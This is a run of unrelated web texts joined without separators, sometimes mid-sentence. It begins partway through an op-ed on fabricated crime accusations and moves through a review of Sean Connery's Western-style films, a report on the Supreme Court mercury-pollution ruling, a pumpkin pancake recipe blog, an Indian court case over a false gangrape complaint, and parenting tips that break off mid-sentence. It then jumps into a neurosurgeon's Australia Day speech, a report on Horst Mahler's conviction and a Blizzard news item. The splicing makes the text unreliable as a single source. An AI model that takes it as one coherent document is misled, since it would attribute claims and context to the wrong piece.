2) Did she have a reason for lying? Her story seemed too convenient. Its veracity too problematic. She's a staunch McCain supporter in a battleground state that many fear may be slipping away.
3) In the photo why was there no swelling and the scar did not appear to be a deep slash, which you would expect to result from the actions of an enraged 6 foot four mugger who takes a knife to someone's face.
In the Charles Stuart case tough questions were asked, belatedly. Only after dozens of black men were rounded up and questioned; after hundreds of homes were raided; after an African American man was arrested and jailed on suspicion of murder; after race relations, in an already racially charged city, were set on end by the raw emotions that resulted from the tragic murders of a young woman and her not yet born baby. Charles Stuart, it was later discovered, had pulled the trigger. He jumped to his death from a bridge in 1990.
The Stuart case and the initial lack of media skepticism, continues to serve as a lesson to journalists to probe deeper when confronted with stories that smell of fiction.
But in 1994 the smell apparently was still not strong enough. A story told by Susan Smith, a white South Carolina mother, was greeted with up-turned eyebrows by only a handful of reporters. On October 25th that year, Smith told police that she had been car jacked by a black man who drove off with her two children in the back seat. It took nine days for the story to unravel, and compelled Smith to confess to driving her Mazda into a lake and drowning her children.
The often brutal and tangible dynamics of America's racial history have made it just as easy to fall for the make-believe of alleged black victims of white assailants. That was the case with Tawana Brawley, the black teenager in Duchess Country, New York, who in 1988 falsely claimed she was gang raped by a group of white men. That incident may have fueled more skepticism and investigatory instincts in the years that followed -- but apparently not enough. Let's take Crystal Mangum's tale. She's the North Carolina woman who falsely accused three Duke lacrosse players of rape, and her story, on the surface, seemed plausible, given that it concerned intoxicated male athletes, strippers, a supporting witness (at least initially) and confident assertions by the white district attorney. But this case too should have been put under a microscope before it was allowed to be so heavily promulgated as truth.Sean Connery filmed one traditional Western: 1968’s Shalako. But two others have strong Western bonds (no additional charge for the bad pun) and deserve viewing by anyone who enjoys the genre.
It would have been interesting to see the individual seeking finance for the film: “So, what do you think about a Sean Connery Western featuring French sex-kitten Brigitte Bardot and directed by Edward Dmytryk—yeah, one of the Hollywood Ten during the McCarthy-era'red scare.' Oh, and we’ll have Woody Strode playing a Native American. … Sounds kinda strange? Didn’t I mention that we’re adapting the Louis L’Amour book Shalako for screen?”
I can just imagine, though, the mention of the name Sean Connery at the time —1960’s biggest actor and cultural phenomenon—immediately got the green light for the project.
Well, the film went on and lost money at the box office. But how does it look through 21st century eyes?
The central plot revolves around a hunting party of European aristocrats led into Apache territory in 1880’s New Mexico by an opportunistic guide. Among the social elite is a beautiful French countess, Irina Lazaar (Bardot), who wanders off by herself. When she is attacked by Apaches, Shalako, a former Cavalry officer sent by the Army to escort the party off Indian land, shows up. He helps fight off the attackers, killing many, and Irina also kills a man in self-defense. Shalako is able to make a treaty with the Apache that if they give him until sundown, he will get the aristocrats off their land.
Shalako and Irina return to the main camp to tell them they need to leave. But the hunting party’s arrogance gets in the way, and they are determined to stay to Shalako’s annoyance.
Irina says to Shalako, “You don’t like us very much do you?”
Shalako, “No. You’re trouble. Stone-dumb, useless trouble. But, you, well, you’re too beautiful to die.”
Actually, he recognizes the countess has more humanity than the rest of the party, because when she had told the others she had shot an Apache, they seemed to think killing a “savage” wasn’t any worse than killing an animal. She’d reminded them he was a man and showed considerable remorse. And that, dear readers, is the only reason I can imagine that Shalako gives a damn beyond it being his job. With the rest of the party he’s been assigned to protect being so greedy, it’s a puzzle that he helps them at all.
Before Shalako leaves them, he shows them how to stave off an attack, and then begins his journey alone to convince the Army to help the wandering idiots. Hours later, from quite a distance, he sees the Apaches attacking and sets a fire high in the mountain to scare them off. It works and with a change of plan, he returns to the party to lead them out of hostile territory himself.
This time, he succeeds in convincing the party to leave, though several more in the group die and he has a climatic mano-a-mano with Mako (Strode), the Apache who had been gunning for him, with a bit of compassion from Mako’s wizened father.
Bardot is an acting standout in a uniformly fine cast that includes Stephen Boyd, Jack Hawkins, and Honor Blackman. Having an African American play a Native American may ruffle many modern viewers. The story itself is well worn but having Connery and Bardot present gives the proceedings a fresh take. Worth a look but with reservations.
Just because the next flick is set in 1854 and involves a train doesn’t make The First Great Train Robbery (1979) a true Western, but there are enough fundamentals in play that most Westerns enthusiasts won’t nitpick. (Known in the U.S. as The Great Train Robbery, it’s not to be confused with the 1903 Edwin S. Porter film of the same name.) This particular movie was adapted and directed by Michael Crichton from his own more intricate novel based on an actual event—the first hold-up of a moving train in 1855.
Connery didn’t seem too out of place, to me, in Shalako but he certainly looks more at home playing Edward Pierce, a member of London's high society, who's also a crook making plans to steal a shipment of gold being transported cross-country to finance the Crimean War. Helping him out is his mistress Miriam, (the charming and underrated Lesley-Anne Down). She’s in love with Pierce, though she’s not so sure of his intentions toward her, especially when he must romance a socialite to further his scheme. Miriam inquires, “Do you ever tell anyone the truth?” Pierce pauses a moment before coldly responding with a calculating smirk, “The truth. No.”
The plan for the robbery is pretty straightforward. They must make copies of four bullion keys to gain access to the money. Each key is housed with a different individual. Enter Donald Sutherland who plays Robert Agar, a pickpocket and infamous screwsman, who makes duplicates faster than you can yell “Stop, thief!” The highlight of the film though is Connery’s daring traversal atop a speeding train; although one might wonder why he decided to don a Scottish cap at the last second, which may have been because if the actor’s toupee flew away, it wouldn’t be too hair-raising (last bad pun in this article).
The First Great Train Robbery is a lot of fun with Sutherland and Connery as perfect matches. It is not to be missed.
Much darker horizons await 1981’s futuristic Outland, a space Western set on Jupiter’s moon Io. Connery plays Marshal William T. O'Niel recently stationed at the base with his wife and son.
It’s a hardship tour-of-duty made worse when his wife unexpectedly leaves him to take their son on the one year trip back to Earth. However, he is quickly distracted as several individuals begin to go mad. One worker goes into the atmosphere without his pressure suit. Another cuts his suit open on purpose. “It happens here,” a doctor soberly informs him. With the doctor’s assistance,
O’Niel learns a strong amphetamine is being given to the workers to make them more productive. But the drug has one potentially lethal side effect … it can make them psychotic after 10-11 months of use, and, of course, the greedy corporate money-makers are willing to take that chance at the worker’s expense.
O’Niel intercepts a message from a corporate chief (played by the magnificent Peter Boyle) that an inside contact will spread the word on base not to trust O’Niel or protect him. This is coupled with the news that a shuttle is delivering a set of thugs to do in the meddlesome marshal.
Like Will Kane in High Noon, O’Neil finds himself standing alone.
When the sympathetic doctor asks why O’Niel is willing to risk his life, he responds wearily, “There’s a whole machine that works because everybody does what their supposed to. I’ve found out I was supposed to be something I didn’t like. That’s what’s in the program. That’s my rotten little part in the rotten machine. I don’t like it. So I’m going to find out if they’re right.”
Outland is very much a testament that human weaknesses will predominate and it takes just one human to stand up and fight the good fight. Though, the movie is a bit dated tech wise, it’s still worth the time, not just for Connery’s reliable acting but also the relevant message.
Edward A. Grainger, aka David Cranmer, is the author of the Cash Laramie and Gideon Miles series and recently edited BEAT to a PULP: Trails of the Wild.
Read all posts by Edward A. Granger for Criminal Element.President Barack Obama’s opponents won a Supreme Court skirmish in the “war on coal” Monday, but the ruling blocking his mercury pollution rule won’t do anything to reverse coal’s waning role in the nation’s power supply.
And on top of that, legal experts don’t expect the decision to hamper the administration’s plans for landmark climate regulations that are set to further cement the decline of the fuel that only a few years ago dominated the industry.
Story Continued Below
For utility giant American Electric Power and others in the power sector, the judgment on the mercury rule that started to take effect in April comes too late to save the dozens of plants that already closed, or are slated to in the next several months.
“We’re not bringing them back,” Nick Akins, AEP’s CEO, president and chairman told POLITICO. “Once that ball gets rolling, it’s not going to change.”
The ruling that clipped an administration regulation on mercury pollution stuck to a narrow path — whether EPA should have considered the costs of the rule in an early analysis rather than later in the rulemaking process — but didn’t reach into the issues expected in the courtroom battles to come over one of Obama’s priorities: battling climate change.
Obama has pushed climate change to the top of the White House agenda for his second term, calling on his EPA to propose the first-ever U.S. measures to curtail emissions of the greenhouse gases that scientists say are raising temperatures and lifting sea levels.
And though Republicans and coal-state politicians welcomed the 5-4 ruling that remanded the EPA rule back to a lower court for further review, little has changed for the prospects of the agency’s final climate change power plant rules due out later this summer, according to legal experts.
“I do think this was a body blow, but [it’s] a long way from a death blow when it comes to cleaning up coal power plants,” said Frank O’Donnell, president of the green group Clean Air Watch.
The opinion written by Justice Antonin Scalia rapped EPA for not properly taking the costs of its regulation into effect early enough, and it raised questions on whether “ancillary,” or additional benefits not directly related to the rule, should be counted.
But Scalia’s majority opinion in Michigan v. EPA doesn’t address whether EPA has the authority to interpret a contradiction in the 1990 Clean Air Act amendments to launch a regulation that will alter how the country’s energy companies’ produce electricity.
“I frankly don’t think this opinion has great implications for [Obama’s] Clean Power Plan based on what I anticipate to be the direct statutory challenges to the plan,” said Bill Bumpers, who heads the climate change practice for utility companies at the law firm Baker Botts.
And the White House insisted after the ruling that EPA’s final carbon dioxide rules would not be affected by the Supreme Court ruling on the mercury and air toxics rule.
“These are two separate rulemaking processes that we have pursued here and there is nothing contained in this ruling that should in any way impact our ability to successfully implement the Clean Power Plan,” White House spokesman Josh Earnest told reporters.
Not everyone agreed that the mercury ruling had little bearing on the carbon rules. Hal Quinn, president and CEO of the industry group National Mining Association, said the court’s opinion was a shot across EPA’s bow for exceeding its authority under the Clean Air Act.
“I think it should give EPA considerable pause about the current design and structure of both its carbon dioxide rules for power plants,” he said, referring to the pending mandates for both existing and future plants.
To be sure, the mercury and carbon regulations are inextricably linked because of language in the Clean Air Act. Early legal challenges to the carbon rules argued that the law says EPA cannot limit greenhouse gases from power plants if it also regulates power plants with the mercury rule, known as the Mercury and Air Toxics Standard.
EPA and other supporters of the carbon rules have countered that an unusual legislative glitch was created when the language in question was signed into law, allowing EPA to regulate both mercury and carbon dioxide.
Ultimately, a circuit court declined to weigh in on the matter because the rule is not yet finalized. But that only delays the clash over carbon, and EPA’s foes are not shying away from another lawsuit.
West Virginia Attorney General Patrick Morrisey, whose state was among those that challenged the mercury rule, warned that the Supreme Court’s ruling showed the justices will not tolerate federal overreach through EPA regulations.
“If the EPA ignores the Supreme Court’s clear warning today and continues to press forward with these illegal, costly rules, my office will challenge those rules in court, and we intend to win – again,” Morrisey said in a statement.
Still, Sen. Majority Leader Mitch McConnell (R-Ky.) noted that mercury regulation had already forced many plants into retirement, and reiterated his warning to governors around the country not to join the EPA’s climate change plan.
“Clearly, there is no reason to subject their states to such unnecessary pain before the courts have even had a chance to weigh in, especially if the Supreme Court simply ends up tossing the regulation out as we saw today,” he said in a statement.
AEP’s Akins hoped the EPA would become more transparent in its analysis — and that it would better plan for the effects on companies.
“You really need to have an adequate review before you have an impact on the industry,” he said. “That drives a large message for [the climate rule.]”
Now the matter falls back to the D.C. District Court of Appeals — whose ruling upholding the mercury rule was reversed by the Supreme Court on Monday — to decide how to move forward.
The circuit could keep the rule in place while EPA works out a new initial cost-benefit analysis and moves the rule forward. There is precedent for such a decision, according to Graham McCahan, an attorney with the Environmental Defense Fund. The circuit court previously struck down a George W. Bush-era rule governing air pollution that crosses state lines, but kept it in place while the Obama administration wrote a new version that ultimately won the backing of the high court.
Or the circuit court might instead vacate the mercury rule and force EPA to essentially start from scratch.
Brian Potts, an attorney who represents utilities and power providers at Foley & Lardner, said he believed the Supreme Court indicated the circuit court should vacate the rule.
Ironically, he added, that could actually benefit the carbon rules by making moot the argument raised by West Virginia, Murray Energy and other EPA critics.
“EPA is going to be facing a difficult decision: try to keep its mercury regulation in place for the next few years or forego mercury regulation so that the Clean Power Plan can move forward more easily,” Potts wrote in an email.
Bumpers agrees that vacating the mercury rule would at least “temporarily” make the challenges to the carbon rule moot.
He added that it is unclear right now whether EPA’s foes could bring the same legal challenge in the event that the carbon rules are finished before the mercury rules. There are significant and untested legal issues with such a maneuver.
Any conjecture about what will happen are “premature” because the mercury rule isn’t yet “out of the way,” according to McCahan.
“I think that will just get worked out in the context of that [carbon rule] litigation when that happens after the final rule comes out,” he said.
Eric Wolff and Matt Daily contributed to this report.These Spiced Pumpkin Protein Pancakes are full of protein and packed with warming fall flavor. They’re the perfect healthy, gluten-free breakfast for chilly mornings!
I try really, really hard not to be basic. Pumpkin is good, but I don’t get down with pumpkin lip balm, cereal, creamer… I’ve never even had a PSL! No judgement if you have, it’s just not my thing. I do, however, like to cook with pumpkin. It’s why I bought the Oreos a couple years ago. These Peanut Butter Pumpkin Oreo Blondies were delicious AF.
These Spiced Pumpkin Protein Pancakes go in the delicious AF category. In fact, they might be the best pumpkin protein pancakes ever. I say *might* because – let’s be real. I have yet to try every pumpkin protein pancake in the world.
First let’s talk about my favorite food feature – texture. Pumpkin puree made these ‘cakes decadently creamy. Creamy in a good way, not in the “are these cooked all the way?” way.
Scent is right up there with texture. My kitchen filled with the smell of fall as these were cooking thanks to the warm cinnamon, nutmeg, and ginger flavors. A little vanilla for richness and I was ready to build a campfire. Who needs those $12.99 candles from Bed, Bath, and Beyond?!
They’re also easy to make. All you need is 10 minutes and a bowl. I actually use my Magic Bullet… I love my Vitamix, but the little Bullet is awesome for small projects. Whatever vessel you use, throw the ingredients in it, mix, then pour it into a pan. Voilà!
To top these, I used my go-to sugar-free syrup (I SWEAR it tasted like the real deal), dried cranberries, and some coconut I had leftover from the Samoa Balls. To be completely honest, I was looking for topping that would break up the brown for photography purposes. HAHAHA! It was a good combo though. 😉
Psssst… Are you using the macro calculator to track? Nutrition info below!
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As part of my goal, this is a re-shot, re-worked recipe from Sept 2012. It’s crazy I’ve been making these for 5 years!
Are you a pumpkin junkie?
Should I try the PSL? I really just don’t love coffee. Or sweet drinks.A Rohtak court on Thursday awarded seven-year jail to a woman who had filed a false case of gangrape and other offences against eight people of her family, including her husband.
The court of additional sessions judge Ritu YK Behl also imposed a fine of Rs 10,000 on the woman after her conviction under Sections 195 (giving false evidence to procure conviction of offence punishable for life imprisonment) and 211 (false charge of offence with intent to injure) of the Indian Penal Code (IPC).
The woman, Meenakshi, 28, had in June 2010 filed a complaint alleging she was gangraped by a Rohtak resident and his two brother-in-laws after they gave her lift in their car.
She had further alleged that she was forcibly married to her rapist and repeatedly raped by him and his brother-in-laws after marriage.
However, the court, after examining 17 witnesses had acquitted the accused and his family members of all charges in 2015.
Finding the testimony of Meenakshi unreliable, the court had issued her a show-cause notice, to which her reply was found unsatisfactory. The court, therefore, directed that a complaint against her be made through the reader of the court.
During the trial, the court found her guilty of deliberately giving false evidence in order to convict her husband and family members, and awarded her a rigorous imprisonment for seven years.
Though the public prosecutor demanded harsher punishment and submitted that she deserved no leniency as such incidents are ever increasing where women use this modus operandi to harass men to extract financial gains, the court took a lenient view considering she was a young woman and a first time offender.
First Published: May 06, 2017 11:56 ISTSmall boy crying.
Do you find your child lashing out? Are you having trouble communicating with your child during moments of extreme frustration or aggression? While children are growing and still learning how to cope with anger, they tend to instinctively use anger as a defense against physical and emotional pain. As the parent, there are many ways you can help your child through these emotional moments.
Here are some helpful tips to teach your children how to cope with anger:
1. DO recognize and acknowledge your child's feelings. If you validate your child's feelings, then your child doesn't need to defend those feelings and is less likely to respond in anger. Acknowledging feelings causes your child's anger to soften and leaves a safe space in which he or she can learn empathy and coping skills. On the other hand, if you discount your children's feelings and experience, their anger will intensify as they fight to establish and validate their own sense of self.
2. DO practice empathy. By listening to your child's feelings without interruption or defense, you create space for your child's anger to dissipate, as they no longer need to use up energy defending the fairness of their position. By empathizing with your child's feelings, you are helping them regulate the cortisol -- the fight-or-flight chemical -- that emerges through emotional stress. The consistency of your open reception to your child's anger teaches him or her to react less emotionally and more critically. Ultimately, this is how nature and nurture come into balance, as a child's behavior affects body chemistry and therefore, their emotional control.
3. DO teach your children problem-solving skills. Neurological tracking occurs when children creatively problem-solve. The more children practice and rehearse problem-solving rather than emotional reacting, the more their neurological pathways assist them in controlling their impulses. Parents can teach their children how to recognize, acknowledge and appropriately cope with their feelings by asking questions that prompt children to think up their own solutions, such as "What do you think would happen if you did Choice A instead of Choice B?" or, "What sort of options do you think are available to you and what do you need to do to find a resolution?"
4. DO establish clear standards for acceptable and unacceptable behavior. This means that though we want to validate all our child is feeling, allowing those emotions does not translate into the acceptance of bad behavior. There are common rules of engagement which include: no hitting, throwing, breaking objects or disrespect. By involving children in establishing the consequences for their behavior, you will find that your children are more likely to respect the rules. By limiting your children's aggressive behavior, you are in a sense establishing a safety container for their feelings.
5. DO teach your child relaxation methods. By teaching children progressive relaxation, breathing techniques and other self-managing tools for stress, they can calm themselves down when confronted with anger. These techniques not only change the neural pathways, but also affect impulse control. Like every habit, the more your do it, the better you become at it. For example, if a child learns to breath in before giving in to the impulsive act of hitting, it gives that child a sense of control and lessens the need to establish control by acting out.
6. DO try a "time in" instead of a "time out." As the parent, you are your child's main guide in life, and as their guide, they rely on you to be there with them through their emotional experience, whatever that may be. Therefore, no time out, no isolation. Instead, try a "time in" -- sit with your child and incorporate other methods mentioned in this post: work on breathing with them, ask them questions about their feelings. The important thing is to be fully present with them to help them through their emotions. Remember, you are teaching your child social cues and skills to be in relationships with others, rather than acting out alone. When children are isolated, they often ruminate and feel guilty for their behavior. This only serves to create concrete reasons for low self-esteem, which often cycles back to creating bad behavior.
7. DON'T attempt to orchestrate your child's feelings. It is important to value what your child is experiencing. For example, if your child is hurt or crying, never say to them: "Stop crying." But rather, validate your child's experience, saying, "I know that hurts; that would make me cry also." This makes an ally out of you, rather than a target for free floating anxiety and anger.
As an ally, |
or Indian appearance. Unfortunately, racism still exists in Australian culture today. But if you think it's bad, you would've cringed if you had heard some of the things my mum said about you "white devils". In my case, the lessons I learnt as a child, to never give-in without a fight, the strength that I gained in order to overcome the insecurity of being in a minority, and the overwhelming sense of fairness I acquired by experiencing such unfairness, would influence how I would react to similar challenges in my professional life years later.
After an acrimonious divorce in 1969, my mum sacrificed any semblance of luxury in her own life to give me every opportunity to make mine better. I was schooled at the Scots College, travelled to Edinburgh to perform in the military tattoo, played rugby and cricket (...very poorly), debated and made lifelong friends. My mother made me work every school break and I have since found out, would ask the employer to reduce my pay to make me appreciate the value of money. I was paid $2.20 a day as a bowser boy and my lunch of a hamburger and soft drink would cost $1.65...it may explain why I was so conscientious with my studies! My father provided no financial assistance, but I applied for and received assistance from the government to attend medical school at the University of New South Wales. I supplemented the government assistance by working as a barman and then, after offering assistance to the hotel manager during an altercation with a drunken patron, as a bouncer, which gave me a substantial boost in my salary. I am proud of the many jobs I had before neurosurgery, milk-run boy, bowser boy, gardener, apprentice mechanic, barman, bouncer, electrician's assistant. It was in fact during these times that I was exposed to and fell in love with the quintessential Aussie. In those days, my view of an Aussie was someone who was hard working, unaffected, genuine, affable, relaxed, egalitarian, irreverent and charitable. I still believe most Aussies share these appealing qualities, although I am saddened by the increasing incidents of rage in our society. Once there was only road rage but now it seems to have spread into the workplace, the malls and even the last bastion of the laid-back, free spirited Aussie, the surf! I don't wish to trivialise the adversities of everyday life, but when a mother has just lost her son to brain cancer, or a husband his wife, or a daughter her father, and I see this 7 days a week, 365 days of the year, it makes the driver who overtakes on the left or the surfer who cuts in on your wave, seem so inconsequential. I am sure, if you are one of those angry people, if you could spend a day in my shoes, you would rapidly attain a more realistic perspective that the most important determinant of happiness is our health and the health of our loved ones. Brain cancer kills more children than any other cancer, more women under the age of 35 than any other cancer and more men under the age of 44 than any other cancer. It is totally indiscriminate and accounts for more person years lost than any other cancer. I am forced to deal with these statistics on a very human level every day. But quite separate to giving me a balanced perspective on life, I am in awe of the dignity and courage that my patients consistently demonstrate in their struggle with cancer. Not that my overseas patients are that much different, but the Aussie spirit is as impressive in the living as it is in the dying. To raise money for my Foundation, the Cure for Life Foundation, I have had the honour of talking to people from many walks of life, from miners in Muswellbrook, to fisherman in Hervey Bay. I am constantly overwhelmed by the generosity of my fellow Australians who dig deep when made aware of the worth and importance of this cause.
My university years were full of fond memories. I was lucky enough to be financially secure with my job as a bouncer at Centrepoint Tavern and later the New Chevron Hotel. Dealing with the intoxicated Aussie wasn't quite the positive experience I had doing the milk run but once again, the trials of working in the service industry was a priceless lesson in life. I acquired a newfound respect for police officers. They have had and will always have my unconditional support. Indeed, the real heroes of our society are those who work diligently behind the scenes. I have also had the pleasure and honour of working closely with the tireless and self-sacrificing individuals in the medical world. They are the nurses, without whom I would be unable to offer my patients such quality care, the paramedics who are at the emotionally taxing coal-face, the hospital volunteers who are truly selfless and my fellow doctors, most of whom dedicate their lives to the betterment of their fellow man. The nobility of our profession is unparalleled. I never cease to be amazed by the trust that my patients place in me, a total stranger, at a time when they are most vulnerable. The privilege of operating on the very organ that defines the essence of that person, their mobility, comprehension, communication, vision, motivation, sensations and even their vital functions is unique and humbling. Spending nine years in the USA was an enlightening experience. Before I went to America I had an unresolved internal conflict on the issue of immigration. My parents were immigrants, my godparents were immigrants and many of their friends were immigrants. As a child growing up amongst immigrants and die-hard, true-blue Aussies in blue-collar Picnic Point, I feel I am somewhat qualified to offer comment on the issue of refugees. I was proud that Chinese never featured in the tabloids or the evening news. I wanted it to stay that way and I thought that limiting the number of Chinese entering the country would ensure the bad ones would be excluded. I felt Australia was such a great place to live, in no small part as a result of its isolation, not despite it. We appeared to be immune from world wars, border conflicts and dwindling natural resources. Why would you ruin this blissful isolation by allowing "queue jumpers", potential criminals, into our Utopia? My time in the USA made me reflect on how a country that was not that much older or bigger than ours had achieved such a standing on the world stage. In general, Americans were not more intelligent, diligent or talented than Australians. They have natural resources, so do we. Their pioneers did it tough, so did ours. They had a national pride, so do we. Speak to most Americans and they will be the first to concede the dependence of their economy on the hard-working and fiercely loyal Mexicans. Speak to almost any taxi driver anywhere in the 50 states and you will be inspired by a story of tragedy and conflict followed by hope and opportunity and concluded by a statement of national pride...in America NOT their country of birth. I don't know for sure, and I don't think anyone knows for sure, but, having lived in the USA for 10 years, I would be hopeful that our country would benefit from immigration of peoples from countries of conflict, or those subjected to political persecution, who are simply seeking refuge from violence and a better life for their children. I believe Australia has a moral and social obligation to demonstrate a higher level of kindness to and acceptance of refugees. I don't know how this may be achieved but I certainly know that both sides of the political fence are floundering. I would humbly suggest that a bi-partisan approach would be one step closer to a solution and we need it now! The USA does one other thing very well... it encourages scientific curiosity and innovation. After I completed my fellowship in paediatric neurosurgery and before I ended up in Arkansas, I wanted to return to my homeland. I wrote to every senior neurosurgeon in Australia whilst I was working in the USA in the hope that by sharing my dreams and relaying the magnificent experience I was getting in the USA, they would offer me a job back in Australia. Alas, the story was the same, only the names changed..."... I am so pleased you are enjoying your time in Dallas. Unfortunately there are no opportunities now or in the foreseeable future. It would be better for you to make your future over there. Kindest regards". I was reassured that if I published at least three peer-reviewed articles every year, I would be so well qualified academically, they would be obliged to give me a job. So I worked tirelessly for the next nine years. I published 79 papers, wrote 27 book chapters, made over 200 presentations and pioneered minimally invasive neurosurgical approaches. I was courted by industry as well as many of the finest universities in the USA. I became a consultant for a German company that produces over 70 per cent of the world's surgical instruments who encouraged and rewarded my adaptation of precision technology to keyhole approaches. For my hard work I was promoted to Associate Professor and interviewed for "Chairman" positions at two acclaimed institutions. A senior Australian neurosurgeon, Dr Bernie Kwok, a man of rare vision and integrity, visited me in Little Rock and was impressed with what he saw. He suggested I return to Australia with his blessing and support.
However, it became rapidly obvious that others would not share his vision for Australian neurosurgery. Maybe it was the tall poppy syndrome, maybe it was the conservatism of the profession. When I was the only applicant for positions at two of the Children's hospitals in both Melbourne and Sydney, the positions were withdrawn. Since returning I have had obstacles placed in my way, but that hasn't lessened my resolve to offer the Australian public the latest and most innovative cancer treatment in the world. Don't get me wrong. The vast majority of doctors are caring and skilled, giving their patients the best treatments available. They are and should be held in high esteem. Unfortunately, a small number of doctors have forgotten the nobility of our profession, more concerned with their own empire building than patient care, confronted and insulted when patients request an explanation or a second opinion, unwilling to adapt to change and new treatment regimens and failing to continue self-education. This should never be allowed to happen. A selection system that identifies a caring nature and good communication and inter personal skills in medical school applicants would be one step in the right direction. This would be difficult but we shouldn't give up finding a better way of selecting doctors and then nurturing their compassionate side. I am at an enviable stage of my professional life. With my international reputation I am fortunate enough to be invited to lecture, operate, direct courses and spend time in foreign neurosurgical programs as visiting professor. I see it as an opportunity to keep abreast of current trends in clinical medicine and basic science research and in so doing, ensure that Australian patients with neurosurgical conditions are getting the very best the world has to offer. An unexpected consequence is that it exposes me firsthand to the enormous disparity in scientific funding between Australia and the USA, Japan, Germany, Sweden and many of the other OECD countries. My good friend and colleague, Professor Mitch Berger was recently awarded a SPORE grant of $50 million a year for five years to be spent on brain cancer research only. He was so impressed with the volume and quality of work I was doing in Sydney, he sent his chief resident to spend six months learning my minimally invasive techniques. When he asked how much funding I received from my government, I was ashamed to say only $150,000 over three years. He was totally shocked. The USA and California specifically has shown tremendous foresight in their approach to scientific research. A recent meeting I attended in California on stem cell research was the perfect illustration of this disparate approach to scientific excellence. I was impressed that the Australian scientists at the meeting could hold their own when it came to innovative ideas and universal knowledge of stem cell therapeutics. I was equally disappointed to hear that our funding of stem cell research, although not as dismal as brain cancer research, was poor. One of the greatest gifts given to humanity by a few socially responsible corporations and governor Arnold Schwarzenegger, maybe not on the same level as "I'll be back", was a $3 billion grant for stem cell research. Australia has a perfect opportunity to ensure our children and their children will see a bright future. The wealth generated by the current mining boom should be seen as an opportunity to build the foundations of the next boom, the mind boom. We have the scientists. We have some of the most inquisitive minds in the world. We clearly have the resources. All we need is the insight and foresight to put our resources to good use. Of course this has long term benefits in sustaining and growing our economy. As they say, you don't need to be a brain surgeon to know these things. Since returning to Australia I have had the privilege of collaborating with some of the best scientific minds in the world. Dr Kerrie McDonald, who heads the brain cancer wing of the Lowy Cancer Institute, Professor Phil Hogg at the University of New South Wales, and many others, lead the world in their innovation and curiosity. They do so at times at the expense of their personal lives, with few accolades or acknowledgments and poor funding and remuneration. Many have left for greener pastures; many have been culled through lack of funding. These are the unsung heroes. These are the minds that will take Australia from being the greatest place to live, to being, simultaneously, the greatest place to work. We have a history of being able to identify talent, nurture it and reward it. We have done it so well in the sporting arena, there is no reason we can't do it in the scientific arena. Steve Waugh is an iconic Australian. At an early stage his skills were identified and nurtured. He was rewarded by the Australian public as Australian of the Year and as an officer of the Order of Australia. He has inspired generations of Australian children and has given back to the world, through his charities, in innumerable ways. He is, on top of all of that, an incredibly humble man. He would be the first to acknowledge that he is no better an Australian than Kerrie McDonald or Phil Hogg. If we take this winning template that we use for talented sportsmen, and translate it to our talented scientists, Australians will benefit immeasurably now and in the future. One day we might have two AIS, one for sport and one for science. Indeed, with diminishing resources and a technological revolution, it may not simply be good for our country, it may be necessary for our country. And medicine is only one field in which Australians may lead the world.
Recently I have had the good fortune of being involved with Voiceless, an organisation that is campaigning to have animals treated with respect and compassion. Inspired by the passion of the Sherman family, Voiceless is working to ensure that animal protection is the next great social justice movement. A few years ago, Barry Kelly, another Australian icon, one of the first RAAF fighter pilots ever to be invited to train at the Top Gun academy, was diagnosed with an inoperable brain tumour. Facing deadly forays was part of his daily routine but, with three beautiful young children and an unknown enemy, he was about to face his deadliest encounter. Supported by his wife Jill, he rejected the grim prognosis given to him by his doctors and asked if I could remove the tumour. Courageously, he chose the path less trod, had the tumour removed and is alive and tumour free today. In true Aussie spirit, not one to take and not give back, he has made the largest personal donation to the Cure for Life Foundation and continues to support brain cancer research passionately. But I am most indebted to Barry for asking me to join him in walking the Kokoda track. Initially I saw it as an exercise in male-bonding and a physical challenge. But having walked the track with Charlie Lynn who explains the military history and significance of the track, I honestly believe it is a necessary part of being Australian. Kokoda serves as a cogent reminder of our responsibility to fellow Australians and fellow human beings. Our forefathers sacrificed their lives for our current way of life. Young boys lied about their age to fight for this country. The track is full of stories that illustrate the sacrifice, courage, endurance and mateship that contributed to the success of the campaign and the freedoms that we enjoy today. Australia is a great country. Although my professional career might have been smoother in the USA, my roots are here, the people with whom I relate best are here and my future is here. Generations of Aussies before gave us the foundations onto which we may construct an even greater nation. One that is both culturally and socially sensitive and tolerant, one that acknowledges a responsibility to our own people as well as our near and distant neighbours who are less fortunate than us and one that identifies, nurtures and rewards scientific, economic, technological and environmental curiosity and innovation. We have the potential to reverse the preconception that one needs to go elsewhere for the best medical care. Loading I have had the privilege of teaching neurosurgeons from all over the world, including the Karolinska Institute in Sweden and Johns Hopkins University, Stanford University and UCSF in America. Patients fly in from every continent to get the most minimally invasive neurosurgical procedures and I am able to disseminate that knowledge to surgeons from developing countries. I hope that I may serve as an example of what Australians may achieve with the support of fellow Australians. I reassure you that if we give our scientists the same support, emotionally and financially, Australia and the world will reap the benefits.
I would like to see this Australia Day as a turning point. I want my fellow Australians, those who were born here and those who have immigrated here, to pause and think of the lives that have been sacrificed for what we take for granted today. I want everyone who finds themselves angry and intolerant to think first about the misfortunes of those who are less fortunate... such as those with cancer. I want anyone who has come from another country to embrace the Australian way of life, it has served us well. I want all Australians to see how immigrants have contributed to our nation and to appreciate that a rich and prosperous country such as ours has a moral and global responsibility to share our resources. Finally, I want to thank Australians for giving me professional and personal fulfilment, for believing in me when some of my colleagues didn't, for seeing a Chinaman as an Aussie, not as a foreigner and for this wonderful opportunity to address the greatest nation in the world.MUNICH, Germany (Reuters) - A German court convicted lawyer and right-wing extremist Horst Mahler on three charges of inciting racial hatred and denying the Holocaust took place, and sentenced him to six years in prison.
Mahler, 73, once a left-wing militant and founding member of the Red Army Faction (RAF), is a trained lawyer who later in life switched sides and became a far-right activist, joining the extremist NPD party in 2000.
Denying the Holocaust is a crime in Germany, punishable by up to five years in prison.
Mahler is a repeat offender and was sentenced to one year more than the maximum recommended sentence because he was unrepentant, the court said.
Mahler was charged after holding a public speech in which he denied the Holocaust took place and posting Holocaust denials on the Internet. He also continued to deny the Holocaust during his trial and in his closing statement, the court in Munich said.When Blizzard issued Nostalrius (the world's most popular Vanilla WoW server) with a cease and desist order in April, the community outcry was unprecedented. Over 250,000 people signed a petition asking Blizzard to reconsider. Sceptical though I am of internet petitions, in this case it found success. Blizzard isn't going to allow Nostalrius to continue, but it did invite the developers to its Irvine offices for a post-mortem and to clarify why running official legacy servers is easier said than done.
In attendance were CEO Mike Morhaime, executive producer J Allen Brack, game director Tom Chilton and many more of Warcraft's big names. What was scheduled as a two-hour meeting lasted almost five.
